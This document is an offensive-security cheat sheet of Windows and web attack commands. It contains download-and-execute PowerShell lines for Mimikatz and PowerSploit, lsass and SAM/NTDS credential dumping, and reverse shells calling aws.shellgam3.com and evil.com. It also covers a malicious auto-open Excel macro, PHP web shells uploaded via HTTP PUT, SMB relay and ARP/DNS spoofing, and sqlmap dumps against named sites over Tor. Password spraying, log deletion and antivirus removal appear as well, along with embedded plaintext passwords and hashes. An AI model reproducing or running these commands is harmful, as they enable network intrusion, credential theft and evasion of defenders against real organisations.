Dark-Side_Powershell

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Invoke-UserHunter


powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Get-NetLocalGroup

powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Invoke-EnumerateLocalAdmin


powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Invoke-StealthUserHunter
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Find-LocalAdminAccess
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1'); Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\temp\ntds.dit

powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1'); Invoke-FileFinder


powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/PowerShell/BloodHound.ps1');


BloodHound:
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/PowerShell/BloodHound.ps1');Invoke-Bloodhound -CSVFolder C:\Temp


---
powershell_shell: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); Get-Process lsass | Out-Minidump -DumpFilePath c:\temp

meterpreter > download c:\\Windows\\Temp\\lsass_632.dmp

python -m SimpleHTTPServer 9000

sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords

recon and finding other networks:
fping 192.168.0.0/16 | grep -a "alive"



---


powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.22.45:8080/')


reg.exe save hklm\sam c:\temp\sam.save

reg.exe save hklm\security c:\temp\security.save

reg.exe save hklm\system c:\temp\system.save


root@kali:~# nmap 190.57.29.177 -v -Pn -sT -A -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"





BDFproxy:
veil option - #50
echo 1 > /proc/sys/net/ipv4/ip_forward
./bdf_proxy.py
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 192.168.22.75; set LPORT 4444; set exitonsession false; exploit -j"
arpspoof -i eth0 -t target.ip router.ip
arpspoof -i eth0 -t router.ip target.ip
msfconsole -r bdfproxy_msf_resource.rc


nmap -A -oG - 190.57.29.0/24 -p 445 --osscan-guess | grep -a "Windows Server"




IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1"); Invoke-Inveigh -ConsoleOutput Y -NBNS Y -ConsoleStatus 1

procdump -ma lsass.exe lsass.dmp

powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1’); Get-NetUser -AdminCount | Select name,whencreated,pwdlastset,lastlogon


***
sudo msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 172.31.18.189; set LPORT 443; set exitonsession false; exploit -j"


powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1');invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost aws.shellgam3.com -Lport 443"


rubber ducky:

java -jar duckencode.jar -i "reverse shell.txt"



smbrelay:

msfconsole -x "use exploit/multi/script/web_delivery; set target 2; set URIPATH /; set payload windows/meterpreter/reverse_tcp; set LHOST 192.168.22.62; set exitonsession false; exploit -j"

./responder.py -I eth0

./smbrelayx.py -h 192.168.22.151 -c "powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.22.119:8080/')"

"powershell -nop -exec bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

pth-winexe -U gp-wks-conf2/Administrator%aad3b435b51404eeaad3b435b51404ee:6154da6030a803632a63b1a0e1a3aeb3 //192.168.22.46 cmd


nbtscan -r 192.168.22.0/24
fping -g -d 192.168.23.0/24 2>/dev/null | grep alive

capture ntlm handshake (snarf + responder)
crack password from handshake (john)
password spray to find local admin (metasploit)
establish shells with local admin boxes (metasploit)


snarf + responder:
nodejs snarf.js 192.168.22.62 -d 192.168.22.41
john snarf.pot --rules=all --wordlist=/media/sf_Shared/wordlists/guidant.txt
responder -I eth0

find local admin (post exploit):
use auxiliary/scanner/smb/smb_login
set smbdomain <domain>
set smbuser <username>
set smbpass <password>
set rhosts 0.0.0.0/24

Shell:
msfconsole: use exploit/windows/smb/psexec
msfconsole: set payload windows/meterpreter/reverse_https
run post/windows/gather/smart_hashdump

dumping creds/hashes:
run post/windows/gather/cachedump
run post/windows/gather/smart_hashdump
load mimikatz > wdigest

cracking hashes:
john --format=mscash2 --wordlist=/media/sf_Shared/wordlists/rockyou.txt --rules=all gp_hashes.txt
john snarf.pot --rules=all --wordlist=/media/sf_Shared/wordlists/guidant.txt


password spraying:
http://www.blackhillsinfosec.com/?p=4989
@FOR /F %s in (systems.txt) DO @net use \\%s\C$ /.\Administrator
AdminPass 1>NUL 2>&1 && @echo %s>>admin_access.txt && @net use
/delete \\%s\C$ > NUL

rpcclient:
http://carnal0wnage.attackresearch.com/2010/06/more-with-rpcclient.html
find local DC first, then ->
rpcclient -U "" -N <ip addr of DC>
commands: ?

xfreerdp /u:jwelkley /p:GoBears1 /d:gp /v:192.168.2.60 /sec:rdp

metasploit basics:
gain  access
getuid
getpid
sysinfo
run PS
migrate process



Reverse Meterpreter Shell:
ubuntu@ip-172-31-18-189:/opt/metasploit-framework$ ./msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 172.31.18.189; set PORT 8443; run"
powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1');invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost aws.shellgam3.com -Lport 8443"



Dump wireless PSKs:
(netsh wlan show profiles) | Select-String “\:(.+)$” | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=”$name” key=clear)}  | Select-String “Key Content\W+\:(.+)$” | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

DNS subdomain enumeration:
dnsrecon -d wabt.com -D /media/sf_Shared/wordlists/SecLists/Discovery/DNS/deepmagic.com_top50kprefixes.txt -t brt -f -n 8.8.8.8 --iw | grep -v 123.123.123.123




./proxychains4 nmap -p 53 -v -Pn -sS 8.8.8.8 -e eth0



snarf + responder:
nodejs snarf.js 192.168.22.62 -d 192.168.22.41
john snarf.pot --rules=all --wordlist=/media/sf_Shared/wordlists/guidant.txt
responder -I eth0

MiTM:
netstat -nr
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t target.ip router.ip
arpspoof -i eth0 -t router.ip target.ip

MiTM via mitmf:
mitmf -i eth0 --arp --spoof --hsts --gateway=10.0.0.1 --target=192.168.0.1

Beef:
./beef
mitmf -i eth0 --arp --spoof --hsts --gateway=192.168.0.1 --target=192.168.0.2 --inject --js-url http://192.168.0.5:300/hook.js

DNS subdomain brute forcing:
dnsrecon -d wpcu.coop -D /media/sf_Shared/wordlists/SecLists/Discovery/DNS/deepmagic.com_top50kprefixes.txt -t brt -f -n 8.8.8.8 --iw | grep -v 123.123.123.123



Certificate injection:
mitm +
mitmproxy -T --host

PtH with Metasploit:
Kali: 173.18.131.94
Victim: 173.18.131.111

root@kali:/usr/bin# ./msfconsole
 msf > use exploit/windows/smb/psexec
 msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf exploit(psexec) > set lhost 173.18.131.94
 lhost => 173.18.131.94
 msf exploit(psexec) > set rhost 173.18.131.111
 rhost => 173.18.131.111
 msf exploit(psexec) > set smbpass 00000000000000000000000000000000:b048b97d9fdb66d3d2ed72b3782847a4
 smbpass => 00000000000000000000000000000000:b048b97d9fdb66d3d2ed72b3782847a4
 msf exploit(psexec) > set smbuser administrator
 smbuser => administrator
 msf exploit(psexec) > set smbdomain test
 smbdomain => test
 msf exploit(psexec) > exploit


smb relay attack:
Metasploit box: 172.17.130.81
Domain Admin Workstation: 172.17.130.33
Target Server: 172.17.130.75
msfconsole -x “use windows/smb/smb_relay; set payload windows/meterpreter/reverse_tcp; set LHOST 172.17.130.81;set SMBHOST 172.17.130.75; set SRVHOST 172.17.130.81; run”
-embed in email message:
<html>
<head>
<img src=”\\172.17.130.81\test.jpg”></img>
</head>
</html>

spoofing email via telnet:
root@kali:~# telnet mx1.mail.icloud.com 25
 Trying 17.158.8.67…
 Connected to mx1.mail.icloud.com.
 Escape character is ‘^]’.
 220 nk11p00mm-smtpin001.mac.com — Server ESMTP (Oracle Communications Messaging Server 7.0.5.36.0 64bit (built Sep 8 2015))
 helo whatever.com
 250 nk11p00mm-smtpin001.mac.com OK, 50-197-245-29-static.hfc.comcastbusiness.net [XX.197.XXX.29].
 mail from:bob@icloud.com
 250 2.5.0 Address Ok.
 rcpt to:nickvangilder@icloud.com
 250 2.1.5 nickvangilder@icloud.com OK.
 data
 354 Enter mail, end with a single “.”.
 To:Nick VanGilder<nickvangilder@icloud.com>
 From:Bob Dole<bob@icloud.com>
 Reply-To:Bob Dole<nickvangilder@outlook.com>
 Subject:Test

This is a test
 .
 250 2.5.0 Ok.

check public ip address:
proxychains curl ipecho.net/plain

powershell
import-module activedirectory
get-aduser -filter {PasswordNeverExpires -eq $True -AND Enabled -eq $True} -properties PasswordLastSet | Sort PasswordLastSet | Select Distinguishedname,PasswordLastSet


on linux box: nc -lvp 8443
powershell ->
$client = New-Object System.Net.Sockets.TCPClient("aws.shellgam3.com",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -exec bypass -file payload.ps1


one-liner:
powershell -Command "& {$client = New-Object System.Net.Sockets.TCPClient('192.168.22.63',8443);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"

To enumerate all domain controllers:
nltest /dclist:domain.local

Enumerate local admins:
net localgroup Administrators


Get-ADDefaultDomainPasswordPolicy
net group "domain admins" /domain

Fetch a file via HTTP (wget in PowerShell): PS C:\> (New-Object System.Net.WebClient).DownloadFile("http ://10.10.10.10/nc.exe","nc.exe")

wmic computersystem get model,name,manufacturer,systemtype


File injection:
MiTM +
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
./mitmproxy -T -s “iframe_injector.py http://www.website.com/files/malicious_file.xlsm;


cmdkey.exe /add:MACHINE_NAME_HERE /user:MACHINE_NAME_HERE\Administrator /pass:PASSWORD_HERE
cmdkey.exe /delete:MACHINE_NAME_HERE

https://download.sysinternals.com/files/PSTools.zip
copy file to target
psexec \\target -u username -p password cmd.exe
start c:\path\payload.vbs


Enable RDP:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Disable RDP:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

web app recon and scanning:

proxychains, proxychains4, torify, tor-resolve
service tor start
service tor status
dont forget to modify /etc/resolv.conf = 127.0.0.1
protect against accidental discolsure = sudo iptables -A OUTPUT --dest <target> -j DROP


proxychains nmap -v -sN -n 207.223.121.128 -PN

nmap ip.adddress -v -Pn -sT
nmap -Sv -T4 hostname.com
dirb https://www.example.com
grabber --url www.site.com --spider 1 --sql
uniscan -d -u test.com
/usr/share/zaproxy# java -DsocksProxyHost=127.0.0.1 -DsocksProxyPort=9050 -jar zap-2.4.1.jar
nikto -h http://www.site.com
whatweb test.com
w3af_console
wpscan

sqlmap --tor --tor-type=SOCKS5 --check-tor --random-agent --risk=3 --level=5 --threads=10 --dbs --dump -D Database_name -T table_name -u http://xxxxx.com/board/board.php?id=6
sqlmap --tor --tor-type=SOCKS5 --check-tor --random-agent --dbs --threads=10 --crawl=2 --risk=3 --level=5 --dump -u http://host.com/board.php?id=6
sqlmap --tor --tor-type=SOCKS5 --check-tor --random-agent --dbs --dump -u https://test.com --sql-shell
sqlmap --tor --tor-type=socks5 --check-tor --random-agent --keep-alive --forms --crawl=2 --risk=3 --threads=4 --batch -f --dbs -u https://review.logicforce.com
sqlmap --random-agent --keep-alive --level=5 --forms --crawl=2 --risk=3 --threads=10 --batch -f --dump --dbs -u https://xxxxxxx.com

sqlmap --random-agent --keep-alive --forms --crawl=2 --risk=3 --threads=10 --level=5 --batch -f --dbs -u http://human.firstcommunitymortgage.com/fha-loans/?gcf_captcha


Look for HTTP PUT:
curl -X OPTIONS -v http://200.x.x.x/test/

UPLOAD FILE:
curl --upload-file /root/Desktop/reverse_shell.php -v --url http://172.17.130.93/test/rshell.php -0 --http1.0
curl -i -X PUT -H "Content-Type: application/xml; charset=utf-8" -d @"/tmp/some-file.xml" http://www.victim.com/newpage
curl -X PUT -d "text or data to put" http://www.victim.com/destination_page
curl -i -H "Accept: application/json" -X PUT -d "text or data to put" http://victim.com/new_page

first put this into cmd.php:
<?php echo system($_GET["cmd"]); ?>

THEN, for shell access:

this one worked:
put this in filename.sh

http://172.17.130.93/test/cmd.php?cmd=filename.sh
$ exec 5<>/dev/tcp/evil.com/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done

Macro enabled xlsm:
ubuntu@ip-172-31-18-189:/opt/metasploit-framework$ ./msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_https; set LHOST 172.31.18.189; set PORT 8443; run"

Private Sub Auto_Open()
strCommand = "powershell -nop -windowstyle hidden -NonInteractive -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1 ');invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost 52.x.x.123 -Lport 8443"
Set WshShell = CreateObject("WScript.Shell")
Set WshShellExec = WshShell.Exec(strCommand)
End Sub

DNS Spoofing:
#IP Forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

#DNS Port Redirection
iptables -A INPUT -i eth0 -p udp --dport 53 -j ACCEPT
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53

#ARP Cache Poisioning / MitM
arpspoof -i eth0 -t victimIP routerIP
arpspoof -i eth0 -t routerIP victimIP

#DNS Spoofing
dnschef -i 172.17.130.60 --fakeip=52.37.49.217 --fakedomains=test.com
#172.17.130.60 = my internal Kali box
#Fake IP = where you want to redirect to
#Fake Domains = name of domain to redirect


View your current user: whoami
View information about the current user: net user myuser(for a local user)
net user myuser /domain (for a domain user)
View the local groups: net localgroup
View the local administrators: net localgroup Administrators
Add a new user: net user myuser mypass /add
Add a user in the local Administrators group: net localgroup Administrators myuser /add
View the domain name of current machine: net config workstation
 net config server
View the name of the domain controller: reg query "HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows\ CurrentVersion\Group Policy\ History" /v DCName
View the list of domain admins: net group "Domain Admins" /domain
View the list of started services (search for antivirus): net start
 sc query
Stop a service: net stop "Symantec Endpoint Protection"
View the list of started processes and the owner: tasklist /v
Kill a process by its name taskkill /F /IM "cmd.exe"
Abort a shutdown/restart countdown shutdown /a
Create php backdoor/shell echo ^<?php echo passthru($_GET['cmd']); ?^> > C:\inetpub\wwwroot\s.php
View established connections of current machine: netstat -a -n -p tcp | find "ESTAB"
View open ports of current machine: netstat -a -n -p tcp | find "LISTEN"
 netstat -a -n -p udp
View network configuration: netsh interface ip show addresses
 netsh interface ip show route
 netsh interface ip show neighbors
View current network shares: net share
Mount a remote share with the rights of the current user: net use K: \\10.1.2.3\C$
 dir K:
Enable Remote Desktop: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Blind Files
%SYSTEMDRIVE%\boot.ini
A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening.
%WINDIR%\win.ini

This is another file to look for if boot.ini isn’t there or coming back, which is some times the case.
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
It stores users' passwords in a hashed format (in LM hash and NTLM hash). The SAM file in \repair is locked, but can be retired using forensic or Volume Shadow copy methods
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\RegBack\system

System
whoami /all
set
fsutil fsinfo drives
reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """"

ipconfig /all
ipconfig /displaydns
netstat -nabo
netstat -s -p [tcp|udp|icpm|ip]
netstat -r
netstat -na | findstr :445
netstat -nao | findstr LISTENING
netstat -nao | findstr LISTENING
netstat -na | findstr LISTENING
netsh diag show all

net view
net view /domain
net view /domain:otherdomain
net user %USERNAME% /domain
net user /domain
net accounts
net accounts /domain
net localgroup administrators
net localgroup administrators /domain
net group “Domain Admins” /domain
net group “Enterprise Admins” /domain
net group “Domain Controllers” /domain
nbtstat -a [ip here]
net share
net session | find / “\\”
arp -a
route print
browstat (Not working on XP)
netsh wlan show profiles
shows all saved wireless profiles. You may then export the info for those profiles with the command below
netsh wlan export profile folder=. key=clear
netsh wlan [start|stop] hostednetwork
netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent|temporary
netsh wlan set hostednetwork mode=[allow|disallow]
wmic ntdomain list Retrieve information about Domain and Domain Controller


gpresult /z
sc qc
sc query
sc queryex
type %WINDIR%\System32\drivers\etc\hosts
echo %COMSPEC%
c:\windows\system32\gathernetworkinfo.vbs
tree C:\ /f /a > C:\output_of_tree.txt
dir /a
dir /b /s [Directory or Filename]
dir \ /s /b | find /I “searchstring”

%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
unattend.txt, unattend.xml, sysprep.inf

net share \\computername
tasklist /V /S computername
qwinsta /SERVER:computername
qprocess /SERVER:computername *
net use \\computername
net use \\computername /user:DOMAIN\username password
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
net time \\computername (Shows the time of target computer)
dir \\computername\share_or_admin_share\   (dir list a remote directory)
tasklist /V /S computername
Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount

WMI
wmic bios
wmic qfe qfe get hotfixid
wmic startupwmic service
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)

reg save HKLM\Security security.hive  (Save security hive to a file)
reg save HKLM\System system.hive (Save system hive to a file)
reg save HKLM\SAM sam.hive (Save sam to a file)=
reg add [\\TargetIPaddr\] [RegDomain][ \Key ]
reg export [RegDomain]\[Key] [FileName]
reg import [FileName ]
reg query [\\TargetIPaddr\] [RegDomain]\[ Key ] /v [Valuename!] (you can to add /s for recurse all values )

Deleting Logs
wevtutil el  (list logs)
wevtutil cl <LogName> (Clear specific lowbadming)
del %WINDIR%\*.log /a /s /q /f

Uninstalling Software “AntiVirus” (Non interactive)
wmic product get name /value (this gets software names)
wmic product where name="XXX" call uninstall /nointeractive (this uninstalls software)


# Other  (to be sorted)

pkgmgr usefull  /iu :”Package”
pkgmgr usefull  /iu :”TelnetServer” (Install Telnet Service ...)
pkgmgr /iu:”TelnetClient” (Client )
rundll32.exe user32.dll, LockWorkStation (locks the screen -invasive-)
wscript.exe <script js/vbs>
cscript.exe <script js/vbs/c#>


Vista/7

winstat features
wbadmin get status
wbadmin get items
gpresult /H gpols.htm
bcdedit /export <filename>

#Disables the local windows firewall
netsh firewall set opmode disable

#Enables the local windows firewall. If rules are not in place for your connection, this could cause you to loose it.
netsh firewall set opmode enable

@FOR /F %n in (users.txt) DO @FOR /F %p in (password.txt) DO @net use \\192.168.200.1 /user:domain\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\192.168.200.1\IPC$ > NUL